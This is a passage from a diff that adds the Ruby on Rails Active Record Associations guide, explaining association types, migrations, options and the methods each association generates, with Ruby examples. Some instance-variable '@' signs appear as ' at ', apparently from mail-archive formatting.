+ t.datetime :order_date
+ t.timestamps
+ end
+ end
+end
+```
+
+### The `has_many :through` Association
+
+A `has_many :through` association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
+
+```ruby
+class Physician < ActiveRecord::Base
+ has_many :appointments
+ has_many :patients, through: :appointments
+end
+
+class Appointment < ActiveRecord::Base
+ belongs_to :physician
+ belongs_to :patient
+end
+
+class Patient < ActiveRecord::Base
+ has_many :appointments
+ has_many :physicians, through: :appointments
+end
+```
+
+
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateAppointments < ActiveRecord::Migration
+ def change
+ create_table :physicians do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :patients do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :appointments do |t|
+ t.belongs_to :physician
+ t.belongs_to :patient
+ t.datetime :appointment_date
+ t.timestamps
+ end
+ end
+end
+```
+
+The collection of join models can be managed via the API. For example, if you assign
+
+```ruby
+physician.patients = patients
+```
+
+new join models are created for newly associated objects, and if some are gone their rows are deleted.
+
+WARNING: Automatic deletion of join models is direct, no destroy callbacks are triggered.
+
+The `has_many :through` association is also useful for setting up "shortcuts" through nested `has_many` associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
+
+```ruby
+class Document < ActiveRecord::Base
+ has_many :sections
+ has_many :paragraphs, through: :sections
+end
+
+class Section < ActiveRecord::Base
+ belongs_to :document
+ has_many :paragraphs
+end
+
+class Paragraph < ActiveRecord::Base
+ belongs_to :section
+end
+```
+
+With `through: :sections` specified, Rails will now understand:
+
+```ruby
+ at document.paragraphs
+```
+
+### The `has_one :through` Association
+
+A `has_one :through` association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account
+ has_one :account_history, through: :account
+end
+
+class Account < ActiveRecord::Base
+ belongs_to :supplier
+ has_one :account_history
+end
+
+class AccountHistory < ActiveRecord::Base
+ belongs_to :account
+end
+```
+
+
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateAccountHistories < ActiveRecord::Migration
+ def change
+ create_table :suppliers do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :accounts do |t|
+ t.belongs_to :supplier
+ t.string :account_number
+ t.timestamps
+ end
+
+ create_table :account_histories do |t|
+ t.belongs_to :account
+ t.integer :credit_rating
+ t.timestamps
+ end
+ end
+end
+```
+
+### The `has_and_belongs_to_many` Association
+
+A `has_and_belongs_to_many` association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
+
+```ruby
+class Assembly < ActiveRecord::Base
+ has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+```
+
+
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateAssembliesAndParts < ActiveRecord::Migration
+ def change
+ create_table :assemblies do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :parts do |t|
+ t.string :part_number
+ t.timestamps
+ end
+
+ create_table :assemblies_parts do |t|
+ t.belongs_to :assembly
+ t.belongs_to :part
+ end
+ end
+end
+```
+
+### Choosing Between `belongs_to` and `has_one`
+
+If you want to set up a one-to-one relationship between two models, you'll need to add `belongs_to` to one, and `has_one` to the other. How do you know which is which?
+
+The distinction is in where you place the foreign key (it goes on the table for the class declaring the `belongs_to` association), but you should give some thought to the actual meaning of the data as well. The `has_one` relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account
+end
+
+class Account < ActiveRecord::Base
+ belongs_to :supplier
+end
+```
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateSuppliers < ActiveRecord::Migration
+ def change
+ create_table :suppliers do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :accounts do |t|
+ t.integer :supplier_id
+ t.string :account_number
+ t.timestamps
+ end
+ end
+end
+```
+
+NOTE: Using `t.integer :supplier_id` makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using `t.references :supplier` instead.
+
+### Choosing Between `has_many :through` and `has_and_belongs_to_many`
+
+Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use `has_and_belongs_to_many`, which allows you to make the association directly:
+
+```ruby
+class Assembly < ActiveRecord::Base
+ has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+```
+
+The second way to declare a many-to-many relationship is to use `has_many :through`. This makes the association indirectly, through a join model:
+
+```ruby
+class Assembly < ActiveRecord::Base
+ has_many :manifests
+ has_many :parts, through: :manifests
+end
+
+class Manifest < ActiveRecord::Base
+ belongs_to :assembly
+ belongs_to :part
+end
+
+class Part < ActiveRecord::Base
+ has_many :manifests
+ has_many :assemblies, through: :manifests
+end
+```
+
+The simplest rule of thumb is that you should set up a `has_many :through` relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a `has_and_belongs_to_many` relationship (though you'll need to remember to create the joining table in the database).
+
+You should use `has_many :through` if you need validations, callbacks, or extra attributes on the join model.
+
+### Polymorphic Associations
+
+A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
+
+```ruby
+class Picture < ActiveRecord::Base
+ belongs_to :imageable, polymorphic: true
+end
+
+class Employee < ActiveRecord::Base
+ has_many :pictures, as: :imageable
+end
+
+class Product < ActiveRecord::Base
+ has_many :pictures, as: :imageable
+end
+```
+
+You can think of a polymorphic `belongs_to` declaration as setting up an interface that any other model can use. From an instance of the `Employee` model, you can retrieve a collection of pictures: `@employee.pictures`.
+
+Similarly, you can retrieve `@product.pictures`.
+
+If you have an instance of the `Picture` model, you can get to its parent via `@picture.imageable`. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
+
+```ruby
+class CreatePictures < ActiveRecord::Migration
+ def change
+ create_table :pictures do |t|
+ t.string :name
+ t.integer :imageable_id
+ t.string :imageable_type
+ t.timestamps
+ end
+ end
+end
+```
+
+This migration can be simplified by using the `t.references` form:
+
+```ruby
+class CreatePictures < ActiveRecord::Migration
+ def change
+ create_table :pictures do |t|
+ t.string :name
+ t.references :imageable, polymorphic: true
+ t.timestamps
+ end
+ end
+end
+```
+
+
+
+### Self Joins
+
+In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:
+
+```ruby
+class Employee < ActiveRecord::Base
+ has_many :subordinates, class_name: "Employee",
+ foreign_key: "manager_id"
+
+ belongs_to :manager, class_name: "Employee"
+end
+```
+
+With this setup, you can retrieve `@employee.subordinates` and `@employee.manager`.
+
+Tips, Tricks, and Warnings
+--------------------------
+
+Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:
+
+* Controlling caching
+* Avoiding name collisions
+* Updating the schema
+* Controlling association scope
+* Bi-directional associations
+
+### Controlling Caching
+
+All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
+
+```ruby
+customer.orders # retrieves orders from the database
+customer.orders.size # uses the cached copy of orders
+customer.orders.empty? # uses the cached copy of orders
+```
+
+But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass `true` to the association call:
+
+```ruby
+customer.orders # retrieves orders from the database
+customer.orders.size # uses the cached copy of orders
+customer.orders(true).empty? # discards the cached copy of orders
+ # and goes back to the database
+```
+
+### Avoiding Name Collisions
+
+You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of `ActiveRecord::Base`. The association method would override the base method and break things. For instance, `attributes` or `connection` are bad names for associations.
+
+### Updating the Schema
+
+Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For `belongs_to` associations you need to create foreign keys, and for `has_and_belongs_to_many` associations you need to create the appropriate join table.
+
+#### Creating Foreign Keys for `belongs_to` Associations
+
+When you declare a `belongs_to` association, you need to create foreign keys as appropriate. For example, consider this model:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+```
+
+This declaration needs to be backed up by the proper foreign key declaration on the orders table:
+
+```ruby
+class CreateOrders < ActiveRecord::Migration
+ def change
+ create_table :orders do |t|
+ t.datetime :order_date
+ t.string :order_number
+ t.integer :customer_id
+ end
+ end
+end
+```
+
+If you create an association some time after you build the underlying model, you need to remember to create an `add_column` migration to provide the necessary foreign key.
+
+#### Creating Join Tables for `has_and_belongs_to_many` Associations
+
+If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
+
+WARNING: The precedence between model names is calculated using the `<` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper\_boxes" and "papers" to generate a join table name of "papers\_paper\_boxes" because of the length of the name "paper\_boxes", but it in [...]
+
+Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
+
+```ruby
+class Assembly < ActiveRecord::Base
+ has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+```
+
+These need to be backed up by a migration to create the `assemblies_parts` table. This table should be created without a primary key:
+
+```ruby
+class CreateAssembliesPartsJoinTable < ActiveRecord::Migration
+ def change
+ create_table :assemblies_parts, id: false do |t|
+ t.integer :assembly_id
+ t.integer :part_id
+ end
+ end
+end
+```
+
+We pass `id: false` to `create_table` because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a `has_and_belongs_to_many` association like mangled models IDs, or exceptions about conflicting IDs, chances are you forgot that bit.
+
+### Controlling Association Scope
+
+By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
+
+```ruby
+module MyApplication
+ module Business
+ class Supplier < ActiveRecord::Base
+ has_one :account
+ end
+
+ class Account < ActiveRecord::Base
+ belongs_to :supplier
+ end
+ end
+end
+```
+
+This will work fine, because both the `Supplier` and the `Account` class are defined within the same scope. But the following will _not_ work, because `Supplier` and `Account` are defined in different scopes:
+
+```ruby
+module MyApplication
+ module Business
+ class Supplier < ActiveRecord::Base
+ has_one :account
+ end
+ end
+
+ module Billing
+ class Account < ActiveRecord::Base
+ belongs_to :supplier
+ end
+ end
+end
+```
+
+To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:
+
+```ruby
+module MyApplication
+ module Business
+ class Supplier < ActiveRecord::Base
+ has_one :account,
+ class_name: "MyApplication::Billing::Account"
+ end
+ end
+
+ module Billing
+ class Account < ActiveRecord::Base
+ belongs_to :supplier,
+ class_name: "MyApplication::Business::Supplier"
+ end
+ end
+end
+```
+
+### Bi-directional Associations
+
+It's normal for associations to work in two directions, requiring declaration on two different models:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+```
+
+By default, Active Record doesn't know about the connection between these associations. This can lead to two copies of an object getting out of sync:
+
+```ruby
+c = Customer.first
+o = c.orders.first
+c.first_name == o.customer.first_name # => true
+c.first_name = 'Manny'
+c.first_name == o.customer.first_name # => false
+```
+
+This happens because c and o.customer are two different in-memory representations of the same data, and neither one is automatically refreshed from changes to the other. Active Record provides the `:inverse_of` option so that you can inform it of these relations:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, inverse_of: :customer
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer, inverse_of: :orders
+end
+```
+
+With these changes, Active Record will only load one copy of the customer object, preventing inconsistencies and making your application more efficient:
+
+```ruby
+c = Customer.first
+o = c.orders.first
+c.first_name == o.customer.first_name # => true
+c.first_name = 'Manny'
+c.first_name == o.customer.first_name # => true
+```
+
+There are a few limitations to `inverse_of` support:
+
+* They do not work with `:through` associations.
+* They do not work with `:polymorphic` associations.
+* They do not work with `:as` associations.
+* For `belongs_to` associations, `has_many` inverse associations are ignored.
+
+Detailed Association Reference
+------------------------------
+
+The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.
+
+### `belongs_to` Association Reference
+
+The `belongs_to` association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use `has_one` instead.
+
+#### Methods Added by `belongs_to`
+
+When you declare a `belongs_to` association, the declaring class automatically gains four methods related to the association:
+
+* `association(force_reload = false)`
+* `association=(associate)`
+* `build_association(attributes = {})`
+* `create_association(attributes = {})`
+
+In all of these methods, `association` is replaced with the symbol passed as the first argument to `belongs_to`. For example, given the declaration:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+```
+
+Each instance of the order model will have these methods:
+
+```ruby
+customer
+customer=
+build_customer
+create_customer
+```
+
+NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
+
+##### `association(force_reload = false)`
+
+The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`.
+
+```ruby
+ at customer = @order.customer
+```
+
+If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass `true` as the `force_reload` argument.
+
+##### `association=(associate)`
+
+The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
+
+```ruby
+ at order.customer = @customer
+```
+
+##### `build_association(attributes = {})`
+
+The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
+
+```ruby
+ at customer = @order.build_customer(customer_number: 123,
+ customer_name: "John Doe")
+```
+
+##### `create_association(attributes = {})`
+
+The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+ at customer = @order.create_customer(customer_number: 123,
+ customer_name: "John Doe")
+```
+
+
+#### Options for `belongs_to`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `belongs_to` association reference. Such customizations can easily be accomplished by passing options and scope blocks when you create the association. For example, this association uses two such options:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, dependent: :destroy,
+ counter_cache: true
+end
+```
+
+The `belongs_to` association supports these options:
+
+* `:autosave`
+* `:class_name`
+* `:counter_cache`
+* `:dependent`
+* `:foreign_key`
+* `:inverse_of`
+* `:polymorphic`
+* `:touch`
+* `:validate`
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is `Patron`, you'd set things up this way:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, class_name: "Patron"
+end
+```
+
+##### `:counter_cache`
+
+The `:counter_cache` option can be used to make finding the number of belonging objects more efficient. Consider these models:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+With these declarations, asking for the value of `@customer.orders.size` requires making a call to the database to perform a `COUNT(*)` query. To avoid this call, you can add a counter cache to the _belonging_ model:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, counter_cache: true
+end
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+With this declaration, Rails will keep the cache value up to date, and then return that value in response to the `size` method.
+
+Although the `:counter_cache` option is specified on the model that includes the `belongs_to` declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named `orders_count` to the `Customer` model. You can override the default column name if you need to:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, counter_cache: :count_of_orders
+end
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`.
+
+##### `:dependent`
+
+If you set the `:dependent` option to `:destroy`, then deleting this object will call the `destroy` method on the associated object to delete that object. If you set the `:dependent` option to `:delete`, then deleting this object will delete the associated object _without_ calling its `destroy` method. If you set the `:dependent` option to `:restrict`, then attempting to delete this object will result in a `ActiveRecord::DeleteRestrictionError` if there are any associated objects.
+
+WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database.
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, class_name: "Patron",
+ foreign_key: "patron_id"
+end
+```
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+##### `:inverse_of`
+
+The `:inverse_of` option specifies the name of the `has_many` or `has_one` association that is the inverse of this association. Does not work in combination with the `:polymorphic` options.
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, inverse_of: :customer
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer, inverse_of: :orders
+end
+```
+
+##### `:polymorphic`
+
+Passing `true` to the `:polymorphic` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
+
+##### `:touch`
+
+If you set the `:touch` option to `:true`, then the `updated_at` or `updated_on` timestamp on the associated object will be set to the current time whenever this object is saved or destroyed:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, touch: true
+end
+
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+In this case, saving or destroying an order will update the timestamp on the associated customer. You can also specify a particular timestamp attribute to update:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, touch: :orders_updated_at
+end
+```
+
+##### `:validate`
+
+If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved.
+
+#### Scopes for `belongs_to`
+
+There may be times when you wish to customize the query used by `belongs_to`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, -> { where active: true },
+ dependent: :destroy
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `includes`
+* `readonly`
+* `select`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, -> { where active: true }
+end
+```
+
+##### `includes`
+
+You can use the `includes` method let you specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+```ruby
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+ has_many :line_items
+end
+
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+If you frequently retrieve customers directly from line items (`@line_item.order.customer`), then you can make your code somewhat more efficient by including customers in the association from line items to orders:
+
+```ruby
+class LineItem < ActiveRecord::Base
+ belongs_to :order, -> { includes :customer }
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+ has_many :line_items
+end
+
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+NOTE: There's no need to use `includes` for immediate associations - that is, if you have `Order belongs_to :customer`, then the customer is eager-loaded automatically when it's needed.
+
+##### `readonly`
+
+If you use `readonly`, then the associated object will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+
+TIP: If you use the `select` method on a `belongs_to` association, you should also set the `:foreign_key` option to guarantee the correct results.
+
+#### Do Any Associated Objects Exist?
+
+You can see if any associated objects exist by using the `association.nil?` method:
+
+```ruby
+if @order.customer.nil?
+ @msg = "No customer found for this order"
+end
+```
+
+#### When are Objects Saved?
+
+Assigning an object to a `belongs_to` association does _not_ automatically save the object. It does not save the associated object either.
+
+### `has_one` Association Reference
+
+The `has_one` association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use `belongs_to` instead.
+
+#### Methods Added by `has_one`
+
+When you declare a `has_one` association, the declaring class automatically gains four methods related to the association:
+
+* `association(force_reload = false)`
+* `association=(associate)`
+* `build_association(attributes = {})`
+* `create_association(attributes = {})`
+
+In all of these methods, `association` is replaced with the symbol passed as the first argument to `has_one`. For example, given the declaration:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account
+end
+```
+
+Each instance of the `Supplier` model will have these methods:
+
+```ruby
+account
+account=
+build_account
+create_account
+```
+
+NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
+
+##### `association(force_reload = false)`
+
+The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`.
+
+```ruby
+ at account = @supplier.account
+```
+
+If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass `true` as the `force_reload` argument.
+
+##### `association=(associate)`
+
+The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
+
+```ruby
+ at supplier.account = @account
+```
+
+##### `build_association(attributes = {})`
+
+The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
+
+```ruby
+ at account = @supplier.build_account(terms: "Net 30")
+```
+
+##### `create_association(attributes = {})`
+
+The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+ at account = @supplier.create_account(terms: "Net 30")
+```
+
+#### Options for `has_one`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_one` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, class_name: "Billing", dependent: :nullify
+end
+```
+
+The `has_one` association supports these options:
+
+* `:as`
+* `:autosave`
+* `:class_name`
+* `:dependent`
+* `:foreign_key`
+* `:inverse_of`
+* `:primary_key`
+* `:source`
+* `:source_type`
+* `:through`
+* `:validate`
+
+##### `:as`
+
+Setting the `:as` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is `Billing`, you'd set things up this way:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, class_name: "Billing"
+end
+```
+
+##### `:dependent`
+
+Controls what happens to the associated object when its owner is destroyed:
+
+* `:destroy` causes the associated object to also be destroyed
+* `:delete` causes the associated object to be deleted directly from the database (so callbacks will not execute)
+* `:nullify` causes the foreign key to be set to `NULL`. Callbacks are not executed.
+* `:restrict_with_exception` causes an exception to be raised if there is an associated record
+* `:restrict_with_error` causes an error to be added to the owner if there is an associated object
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, foreign_key: "supp_id"
+end
+```
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+##### `:inverse_of`
+
+The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options.
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, inverse_of: :supplier
+end
+
+class Account < ActiveRecord::Base
+ belongs_to :supplier, inverse_of: :account
+end
+```
+
+##### `:primary_key`
+
+By convention, Rails assumes that the column used to hold the primary key of this model is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option.
+
+##### `:source`
+
+The `:source` option specifies the source association name for a `has_one :through` association.
+
+##### `:source_type`
+
+The `:source_type` option specifies the source association type for a `has_one :through` association that proceeds through a polymorphic association.
+
+##### `:through`
+
+The `:through` option specifies a join model through which to perform the query. `has_one :through` associations were discussed in detail <a href="#the-has-one-through-association">earlier in this guide</a>.
+
+##### `:validate`
+
+If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved.
+
+#### Scopes for `has_one`
+
+There may be times when you wish to customize the query used by `has_one`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, -> { where active: true }
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `includes`
+* `readonly`
+* `select`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, -> { where "confirmed = 1" }
+end
+```
+
+##### `includes`
+
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account
+end
+
+class Account < ActiveRecord::Base
+ belongs_to :supplier
+ belongs_to :representative
+end
+
+class Representative < ActiveRecord::Base
+ has_many :accounts
+end
+```
+
+If you frequently retrieve representatives directly from suppliers (`@supplier.account.representative`), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, -> { includes :representative }
+end
+
+class Account < ActiveRecord::Base
+ belongs_to :supplier
+ belongs_to :representative
+end
+
+class Representative < ActiveRecord::Base
+ has_many :accounts
+end
+```
+
+##### `readonly`
+
+If you use the `readonly` method, then the associated object will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+
+#### Do Any Associated Objects Exist?
+
+You can see if any associated objects exist by using the `association.nil?` method:
+
+```ruby
+if @supplier.account.nil?
+ @msg = "No account found for this supplier"
+end
+```
+
+#### When are Objects Saved?
+
+When you assign an object to a `has_one` association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.
+
+If either of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.
+
+If the parent object (the one declaring the `has_one` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved. They will automatically when the parent object is saved.
+
+If you want to assign an object to a `has_one` association without saving the object, use the `association.build` method.
+
+### `has_many` Association Reference
+
+The `has_many` association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.
+
+#### Methods Added by `has_many`
+
+When you declare a `has_many` association, the declaring class automatically gains 13 methods related to the association:
+
+* `collection(force_reload = false)`
+* `collection<<(object, ...)`
+* `collection.delete(object, ...)`
+* `collection.destroy(object, ...)`
+* `collection=objects`
+* `collection_singular_ids`
+* `collection_singular_ids=ids`
+* `collection.clear`
+* `collection.empty?`
+* `collection.size`
+* `collection.find(...)`
+* `collection.where(...)`
+* `collection.exists?(...)`
+* `collection.build(attributes = {}, ...)`
+* `collection.create(attributes = {})`
+
+In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+Each instance of the customer model will have these methods:
+
+```ruby
+orders(force_reload = false)
+orders<<(object, ...)
+orders.delete(object, ...)
+orders.destroy(object, ...)
+orders=objects
+order_ids
+order_ids=ids
+orders.clear
+orders.empty?
+orders.size
+orders.find(...)
+orders.where(...)
+orders.exists?(...)
+orders.build(attributes = {}, ...)
+orders.create(attributes = {})
+```
+
+##### `collection(force_reload = false)`
+
+The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+
+```ruby
+ at orders = @customer.orders
+```
+
+##### `collection<<(object, ...)`
+
+The `collection<<` method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
+
+```ruby
+ at customer.orders << @order1
+```
+
+##### `collection.delete(object, ...)`
+
+The `collection.delete` method removes one or more objects from the collection by setting their foreign keys to `NULL`.
+
+```ruby
+ at customer.orders.delete(@order1)
+```
+
+WARNING: Additionally, objects will be destroyed if they're associated with `dependent: :destroy`, and deleted if they're associated with `dependent: :delete_all`.
+
+##### `collection.destroy(object, ...)`
+
+The `collection.destroy` method removes one or more objects from the collection by running `destroy` on each object.
+
+```ruby
+ at customer.orders.destroy(@order1)
+```
+
+WARNING: Objects will _always_ be removed from the database, ignoring the `:dependent` option.
+
+##### `collection=objects`
+
+The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+
+##### `collection_singular_ids`
+
+The `collection_singular_ids` method returns an array of the ids of the objects in the collection.
+
+```ruby
+ at order_ids = @customer.order_ids
+```
+
+##### `collection_singular_ids=ids`
+
